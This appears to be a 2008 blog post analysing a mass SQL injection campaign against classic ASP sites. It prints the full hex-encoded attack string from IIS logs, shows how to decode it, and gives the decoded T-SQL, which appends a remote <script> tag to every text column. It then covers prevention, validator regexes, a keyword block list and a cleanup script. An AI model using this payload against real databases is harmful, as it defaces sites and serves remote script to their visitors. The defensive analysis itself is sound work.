I just received two back to back cases on the SQL Injection attacks today. I found that attackers have targeted a large number of sites.
In both the cases ASP is the targeted technology but I don’t think weakly designed ASP.NET sites are spared.
What clients get to see?
The problem affects dynamic page creation based on input that was not validated. This means that the client of a particular web site might see a different page(ads etc.) than expected expecting it to be a naïve URL link.
What this attack changes in your DB?
The attacker injects the following
** Encrypted input from IIS Logs:
2008-06-23 01:29:37 xxx.xxx.xxx.xx - W3SVC13 PV013 1xx.xx.x.xx 80 GET /yourasp.asp file=1520;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616C7A686561642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|-|0|404_Object_Not_Found 404 0 4399 1423 0 HTTP/1.1 www.yourdomain.com Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - -
How do you decrypt it?
1. Remove all %20 from the injection part of the Query String and change EXEC(@S) to Print @S to get the following:
DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616C7A686561642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
Print @S
--EXEC(@S)
2. Execute the modified statement in Management Studio and you will get the Decrypted Injection string mentioned in “Injected SQL” section.
Injected SQL
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://somesite.com/b.js></script>'''
);
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
Before
After
HOW TO DEAL WITH IT
1. Prevent the ongoing attacks
Find the source of the issue, which IS poorly designed input mechanism.
Prevention has 3 rules of thumb.
Step 1. Constrain input.
· RegularExpressionValidator and RangeValidator controls to constrain input in ASP.NET
· If you use regular HTML input controls, use the Regex class in your server-side code to constrain input
Step 2. Use parameters with stored procedures.
Step 3. Use parameters with dynamic SQL.
2. Cleanup the corrupt information
1. PREVENTION
ASP
Step 1. Encode output based on input parameters.
Step 2. Filter input parameters for special characters.
Step 3. Filter output based on input parameters for special characters.
And,
If you use regular HTML input controls, use the Regex class in your server-side code to constrain input
Tools
SQL Injection Scanners:
There are various 3rd party scanners which are available for you to do the penetration testing your app. However, I do not claim any responsibility for these products and are for informational purpose only. I still feel that the best tool lies just between your ears.
Useful article
[http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx]
ASP.NET
Use RegularExpressionValidator and RangeValidator controls to constrain input
<asp:RegularExpressionValidator id="RegularExpressionValidator1" runat="server"
ControlToValidate="TextBox1"
ValidationExpression="d{5}"
Display="Static"
Font-Names="verdana"
Font-Size="10pt">
Zip code must be 5 numeric digits
</asp:RegularExpressionValidator>
Some regular expressions (not tested)
1. To prevent from inputting a script component.
(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(&lt;)|(&gt;)
2. To prevent a SQL injection
^["a-zA-Z0-9\040]+$
Useful articles
Other preventive steps
1. Use type-safe SQL parameters with stored procedures.
2. Use type-safe SQL parameters with dynamic SQL
3. Use URL Scan http://msdn.microsoft.com/en-us/library/aa302368.aspx (for IIS 6 you need to download urlscan 2.5)
2. CURE
Once your database is corrupt you have the following two options:
1. Restore a healthy backup.
2. Or, run the following script to clean the DB
use <hacked_db>
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
More Information
CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests
http://www.cert.org/advisories/CA-2000-02.html
What SQL injection is?
http://msdn.microsoft.com/en-us/library/ms161953.aspx
How To: Protect From SQL Injection in ASP.NET (holds good for ASP as well)
http://msdn.microsoft.com/en-us/library/ms998271.aspx
Microsoft official recommendation for <script> injections
http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx
PingBack from http://blog.cwa.me.uk/2008/06/25/the-morning-brew-122/
Good Document...Its Very Usefull